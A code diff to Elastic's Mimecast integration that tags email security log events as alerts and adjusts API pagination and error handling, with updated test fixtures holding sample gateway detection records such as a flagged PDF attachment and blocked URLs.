"original": "{\"_offset\":73861,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"k3KcYRO6P7qYd0rHc1QFNw_1731705555\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"WwGkv-47IJizhgFwoSrDx4e3e72fFIFdyKh3xcIJaik_1731705555\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731705560321,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -160,6 +163,7 @@
"email"
],
"created": "2024-11-14T22:04:26.000Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"b3vNsa7MZl72FJW_mbEr0ZX-iohNRCrOQ-BimNV1q9Q_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866000,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -205,6 +209,7 @@
"email"
],
"created": "2024-11-14T22:04:26.024Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"mLgUT0pGSr_N7iwZQw_rR_JZltfI6rd_ntlmS6_ERBo_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866024,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -250,6 +255,7 @@
"email"
],
"created": "2024-11-14T22:04:26.000Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"6czskzJMohlaUKVhot_uqpWCnSxbrpxHOmIbcab2cz8_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866000,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -295,6 +301,7 @@
"email"
],
"created": "2024-11-14T22:04:26.002Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"MyaowWrjsmqCAoLpEyL5HV1AZ8jx5ktpfR1F-y8u49k_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866002,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -340,6 +347,7 @@
"email"
],
"created": "2024-11-14T22:04:26.010Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"A1JuZjnL7y-1hP0ArmGTNUqqex9NU62N18z_QlPirAY_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866010,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -385,6 +393,7 @@
"email"
],
"created": "2024-11-14T22:04:26.018Z",
+ "kind": "alert",
"original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"G0_0M5x6QhE_UvSS0Wv0HzUDdWlgNBONhtSHHsrKznA_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866018,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -430,6 +439,7 @@
"email"
],
"created": "2024-11-13T12:28:01.660Z",
+ "kind": "alert",
"original": "{\"_offset\":71219,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"auzof_uINcO0Z8DvryMngw_1731500878\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"0fD129nTUvY0qRAuLALbD7HpiV_4kWYEvyJjldHOOaU_1731500878\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731500881660,\"type\":\"attachment protect\"}",
"outcome": "unknown"
},
@@ -2229,6 +2239,7 @@
"email"
],
"created": "2024-11-12T23:36:45.992Z",
+ "kind": "alert",
"original": "{\"_offset\":70936,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"action\":\"Rej\",\"aggregateId\":\"lf7BP8oVOue0keIDXck0Ww_1731454604\",\"direction\":\"Inbound\",\"messageId\":null,\"numberAttachments\":\"0\",\"processingId\":\"Ycqry21vB3utdjgPfIFYpj9wQK6HMNkmX_1vFlph1UM_1731454604\",\"recipients\":\"truorange@demo-int.elastic.mime-api.com\",\"rejectionCode\":\"550\",\"rejectionInfo\":\"Envelope blocked - User Entry\",\"rejectionType\":\"Manual Envelope Rejection\",\"senderEnvelope\":\"truorange@creative-omega.b41.one\",\"senderHeader\":null,\"senderIp\":\"81.2.69.144\",\"spamDetectionLevel\":null,\"spamInfo\":null,\"spamProcessingDetail\":\"{\\\"spf\\\":{\\\"allow\\\":true,\\\"info\\\":\\\"ALLOW\\\"}}\",\"spamScore\":null,\"subject\":null,\"subtype\":\"Rej\",\"timestamp\":1731454605992,\"tlsCipher\":\"TLS_AES_256_GCM_SHA384\",\"tlsVersion\":\"TLSv1.3\",\"type\":\"receipt\",\"virusFound\":null}",
"outcome": "unknown",
"reason": "Envelope blocked - User Entry"
@@ -3482,4 +3493,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml
index 070f9e9f6fa..53f1799e7a3 100644
--- a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml
+++ b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml
@@ -239,6 +239,10 @@ processors:
field: mimecast.RejInfo
target_field: event.reason
ignore_missing: true
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.RejType != null && ctx.mimecast.RejType != ''
- rename:
field: mimecast.RejType
target_field: error.type
@@ -266,6 +270,10 @@ processors:
field: mimecast.AttNames
target_field: email.attachments.file.name
ignore_missing: true
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.Hld != null && ctx.mimecast.Hld != ''
- rename:
field: mimecast.Hld
target_field: event.reason
@@ -290,6 +298,10 @@ processors:
if: 'ctx.tls?.established instanceof String && ctx.tls.established.toLowerCase() == "no"'
### AV LOGS
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.fileExt != null && ctx.mimecast.fileExt != ''
- rename:
field: mimecast.fileExt
target_field: email.attachments.file.extension
@@ -329,18 +341,30 @@ processors:
ignore_missing: true
### SPAM EVENT THREAD LOGS
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.SourceIP != null && ctx.mimecast.SourceIP != ''
- rename:
field: mimecast.SourceIP
target_field: source.ip
ignore_missing: true
### SIEM Email Protect Logs
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.URL != null && ctx.mimecast.URL != ''
- rename:
field: mimecast.URL
target_field: url.full
ignore_missing: true
### SIEM Impersonation logs
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.TaggedMalicious == true || ctx.mimecast?.TaggedMalicious == 'true'
- rename:
field: mimecast.Action
target_field: event.action
diff --git a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml
index 269d731a9ce..d053c47147a 100644
--- a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml
+++ b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml
@@ -105,6 +105,10 @@ processors:
field: mimecast.rejectionInfo
target_field: event.reason
ignore_missing: true
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.rejectionType != null && ctx.mimecast.rejectionType != ''
- rename:
field: mimecast.rejectionType
target_field: error.type
@@ -140,6 +144,10 @@ processors:
field: mimecast.attachments
target_field: email.attachments.file.name
ignore_missing: true
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.Hld != null && ctx.mimecast.Hld != ''
- rename:
field: mimecast.holdReason
target_field: event.reason
@@ -168,6 +176,10 @@ processors:
if: ctx.tls?.established instanceof String && ctx.tls.established.equalsIgnoreCase('no')
### AV LOGS
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.fileExtension != null && ctx.mimecast.fileExtension != ''
- rename:
field: mimecast.fileExtension
target_field: email.attachments.file.extension
@@ -194,18 +206,30 @@ processors:
ignore_missing: true
### SPAM EVENT THREAD LOGS
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.senderIp != null && ctx.mimecast.senderIp != ''
- rename:
field: mimecast.senderIp
target_field: source.ip
ignore_missing: true
### SIEM Email Protect Logs
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.url != null && ctx.mimecast.url != ''
- rename:
field: mimecast.url
target_field: url.full
ignore_missing: true
### SIEM Impersonation logs
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.taggedMalicious == true || ctx.mimecast?.taggedMalicious == 'true'
- rename:
field: mimecast.action
target_field: event.action
diff --git a/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs
index c0b6b572723..b65f136681d 100644
--- a/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs
@@ -107,9 +107,23 @@ program: |
},
"want_more": resp.?Header["X-Mc-Threat-Feed-Next-Token"].hasValue(),
}
+ : (body.?fail[0].errors[0].code.orValue("") == "err_threat_intel_feed_no_result_found") ?
+ // Mimecast threat events return fail message
+ // containing 'err_threat_intel_feed_no_result_found'
+ // when no events within the query time window.
+ // Handle this by saving empty events array but
+ // do not report an error.
+ {
+ "events": [],
+ // Override cursor to remove cursor.token if present.
+ "cursor": {
+ "last": state.?cursor.last,
+ },
+ "want_more": false,
+ }
:
- // Mimecast can return failure states with a 200. This
- // is detected by a non-empty fail array at the root
+ // Mimecast can also return other failure states with a 200.
+ // This is detected by a non-empty fail array at the root
// of the response body. Don't attempt to parse this
// out, just dump the whole body into the error message.
{
diff --git a/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs
index 7c139c92dc4..dff9285015a 100644
--- a/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs
@@ -107,9 +107,23 @@ program: |
},
"want_more": resp.?Header["X-Mc-Threat-Feed-Next-Token"].hasValue(),
}
+ : (body.?fail[0].errors[0].code.orValue("") == "err_threat_intel_feed_no_result_found") ?
+ // Mimecast threat events return fail message
+ // containing 'err_threat_intel_feed_no_result_found'
+ // when no events within the query time window.
+ // Handle this by saving empty events array but
+ // do not report an error.
+ {
+ "events": [],
+ // Override cursor to remove cursor.token if present.
+ "cursor": {
+ "last": state.?cursor.last,
+ },
+ "want_more": false,
+ }
:
- // Mimecast can return failure states with a 200. This
- // is detected by a non-empty fail array at the root
+ // Mimecast can also return other failure states with a 200.
+ // This is detected by a non-empty fail array at the root
// of the response body. Don't attempt to parse this
// out, just dump the whole body into the error message.
{
diff --git a/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json b/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json
index 6ed5a692071..7b0b9e01d53 100644
--- a/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json
+++ b/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json
@@ -361,6 +361,7 @@
"email"
],
"created": "2024-11-17T00:52:30+0000",
+ "kind": "alert",
"original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-17T00:52:30+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"Malicious \\r\\nTime taken: 0 hrs, 0 min, 1 sec\",\"fileHash\":\"168dde02cf41aed3bf31ad831b75d8ee0b738304baa6957c40e29b2487f15116\",\"fileName\":\"Sandbox Test.xlsx\",\"fileType\":\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\"messageId\":\"\\u003c675ddc8ccedda6a7-363046@hapi.b41.one\\u003e\",\"recipientAddress\":\"charles.weldon@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"eric.boyt@demo-int.elastic.mime-api.com\",\"subject\":\"RE\"}"
},
"mimecast": {
@@ -415,6 +416,7 @@
"email"
],
"created": "2024-11-17T00:52:30+0000",
+ "kind": "alert",
"original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-17T00:52:30+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"Malicious \\r\\nTime taken: 0 hrs, 0 min, 1 sec\",\"fileHash\":\"168dde02cf41aed3bf31ad831b75d8ee0b738304baa6957c40e29b2487f15116\",\"fileName\":\"Sandbox Test.xlsx\",\"fileType\":\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\"messageId\":\"\\u003c675ddc8ccedda6a7-363046@hapi.b41.one\\u003e\",\"recipientAddress\":\"nathan.creech@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"eric.boyt@demo-int.elastic.mime-api.com\",\"subject\":\"RE\"}"
},
"mimecast": {
@@ -469,6 +471,7 @@
"email"
],
"created": "2024-11-16T18:37:47+0000",
+ "kind": "alert",
"original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"cindy.olson@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}"
},
"mimecast": {
@@ -523,6 +526,7 @@
"email"
],
"created": "2024-11-16T18:37:47+0000",
+ "kind": "alert",
"original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"jennifer.milligan@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}"
},
"mimecast": {
@@ -577,6 +581,7 @@
"email"
],
"created": "2024-11-16T18:37:47+0000",
+ "kind": "alert",
"original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"misha.siegel@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}"
},
"mimecast": {
@@ -596,4 +601,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs
index 512ffdb953a..adbdca1808e 100644
--- a/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
diff --git a/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml
index 60978d0f3f2..c6cc060ecb2 100644
--- a/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml
@@ -25,6 +25,10 @@ processors:
- set:
field: event.category
value: [email]
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.result == 'malicious'
- date:
description: Use 'mimecast.date' as the '@timestamp'
diff --git a/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json b/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json
index 407d0e53d2a..79d1f231193 100644
--- a/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json
+++ b/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json
@@ -26,6 +26,7 @@
],
"created": "2021-10-15T17:10:46+0000",
"id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjU1NjIw1FEqSy0qzszPU7ICskvywAoNDAyVagFirRIG",
+ "kind": "alert",
"original": "{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjU1NjIw1FEqSy0qzszPU7ICskvywAoNDAyVagFirRIG\",\"senderAddress\":\"smtp@example.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"Requested File\",\"definition\":\"IP - 1 hit (Tag email)\",\"hits\":1,\"identifiers\":[\"internal_user_name\"],\"action\":\"none\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-15T17:10:46+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"John Doe Jr \",\"stringSimilarToDomain\":\"John Doe Jr\",\"checkerResult\":\"hit\"}],\"messageId\":\"\"}"
},
"mimecast": {
@@ -85,6 +86,7 @@
],
"created": "2021-10-15T06:16:34+0000",
"id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzszAx0VEqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGShEhs",
+ "kind": "alert",
"original": "{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzszAx0VEqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGShEhs\",\"senderAddress\":\"johndoe@gmail.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"Fwd: Here ya go\",\"definition\":\"IP - 1 hit (Tag email)\",\"hits\":1,\"identifiers\":[\"internal_user_name\"],\"action\":\"none\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-15T06:16:34+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"John Doe \",\"stringSimilarToDomain\":\"John Doe\",\"checkerResult\":\"hit\"}],\"messageId\":\"\"}"
},
"mimecast": {
@@ -144,6 +146,7 @@
],
"created": "2021-10-13T16:12:07+0000",
"id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzMDMz01EqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGQhEhc",
+ "kind": "alert",
"original": "{\"id\":\"MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjUzMDMz01EqSy0qzszPU7Iy1FEqyQMrNDAwVaoFAGQhEhc\",\"senderAddress\":\"johndoe@mimecast.com\",\"recipientAddress\":\"johndoe@example.com\",\"subject\":\"RE: MSP Sales of Managed E2E\",\"definition\":\"IP - 2 hits (Hold for Review \\/ User Hold)\",\"hits\":2,\"identifiers\":[\"targeted_threat_dictionary\",\"internal_user_name\"],\"action\":\"hold\",\"taggedExternal\":false,\"taggedMalicious\":true,\"senderIpAddress\":\"67.43.156.15\",\"eventTime\":\"2021-10-13T16:12:07+0000\",\"impersonationResults\":[{\"impersonationDomainSource\":\"internal_user_name\",\"similarDomain\":\"Emily Doe \",\"stringSimilarToDomain\":\"Emily Doe\",\"checkerResult\":\"hit\"},{\"impersonationDomainSource\":\"targeted_threat_dictionary\",\"stringSimilarToDomain\":\"who\"}],\"messageId\":\"\"}"
},
"mimecast": {
@@ -183,4 +186,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs
index ef9f287ff21..878cd366356 100644
--- a/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs
+++ b/packages/mimecast/data_stream/ttp_ip_logs/agent/stream/cel.yml.hbs
@@ -90,7 +90,7 @@ program: |
}
}).do_request().as(resp, resp.StatusCode == 200 ?
bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ?
- {
+ (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, {
"events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(),
"cursor": {
"last": (
@@ -106,19 +106,19 @@ program: |
).format(time_layout.RFC3339)
),
},
- ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ?
- optional.of({
+ "last_page": want_more ?
+ dyn({
?"next": body.?meta.pagination.next,
- "data": req.data,
+ ?"data": req.?data,
})
:
- optional.none(),
+ dyn(null), // required to clear the incoming state
"token": {
"access_token": token.access_token,
"expires": token.expires,
},
- "want_more": has(body.?meta.pagination.next) && size(body.data) != 0,
- }
+ "want_more": want_more,
+ })
:
// Mimecast can return failure states with a 200. This
// is detected by a non-empty fail array at the root
diff --git a/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml
index c663b0b82b5..7ac5fbe5d1f 100644
--- a/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/mimecast/data_stream/ttp_ip_logs/elasticsearch/ingest_pipeline/default.yml
@@ -31,6 +31,10 @@ processors:
- set:
field: event.category
value: [email]
+ - set:
+ field: event.kind
+ value: alert
+ if: ctx.mimecast?.taggedMalicious == true
###
- rename:
diff --git a/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json b/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json
index fbf9392d8f2..7002c058892 100644
--- a/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json
+++ b/packages/mimecast/data_stream/ttp_url_logs/_dev/test/pipeline/test-ttp-url-logs.log-expected.json
@@ -239,6 +239,7 @@
"email"
],
"created": "2023-01-04T10:32:12+0000",
+ "kind": "alert",
"original": "{\"action\":\"warn\",\"actions\":\"None\",\"adminOverride\":\"N/A\",\"category\":\"Dangerous file extension\",\"creationMethod\":\"Entry Scan\",\"date\":\"2023-01-04T10:32:12+0000\",\"emailPartsDescription\":[\"Body\"],\"fromUserEmailAddress\":\"user.name@example.com\",\"messageId\":\"\\\\u003eedfg345pf45=gskjlgteriugdfbvjserlekjgiov89@mail.gmail.com\\\\u003e\",\"route\":\"internal\",\"scanResult\":\"malicious\",\"sendingIp\":\"Internal IP\",\"subject\":\"Re: totally not a scam email\",\"ttpDefinition\":\"Default Internal URL Protect Definition\",\"url\":\"https://updates.example.com/\",\"userAwarenessAction\":\"NA\",\"userEmailAddress\":\"other.user@this.company.com\",\"userOverride\":\"None\"}"
},
"mimecast": {
@@ -304,6 +305,7 @@
"email"
],
"created": "2024-11-17T17:02:30+0000",
+ "kind": "alert",
"original": "{\"userEmailAddress\":\"dl-ga-all_enron_worldwide1@demo-int.elastic.mime-api.com\",\"fromUserEmailAddress\":\"coo.jeff@demo-int.elastic.mime-api.com\",\"url\":\"http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html\",\"ttpDefinition\":\"Default Internal URL Protect Definition\",\"subject\":\"Management Changes\",\"action\":\"warn\",\"adminOverride\":\"N/A\",\"userOverride\":\"None\",\"scanResult\":\"malicious\",\"category\":\"Compromised\",\"sendingIp\":\"Internal IP\",\"userAwarenessAction\":\"N/A\",\"date\":\"2024-11-17T17:02:30+0000\",\"actions\":\"None\",\"route\":\"internal\",\"creationMethod\":\"Entry Scan\",\"emailPartsDescription\":[\"Body\"],\"messageId\":\"<871dda3d6bf5107e-360815@hapi.b41.one>\",\"tagMap\":{\"UrlReputationScan\":{\"Status\":[\"CustomerAll\",\"VerdictBlock\"],\"Type\":[\"Compromised\"],\"UrlBlock\":[\"ORIGINAL:http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html (Blocked as COMPROMISED)\"],\"Url\":[\"http://www.enron.com/corp/pressroom/releases/2002/ene/012902Release.html\"]}}}"
},
"mimecast": {
@@ -387,6 +389,7 @@
"email"
],
"created": "2024-11-14T19:44:02+0000",
+ "kind": "alert",
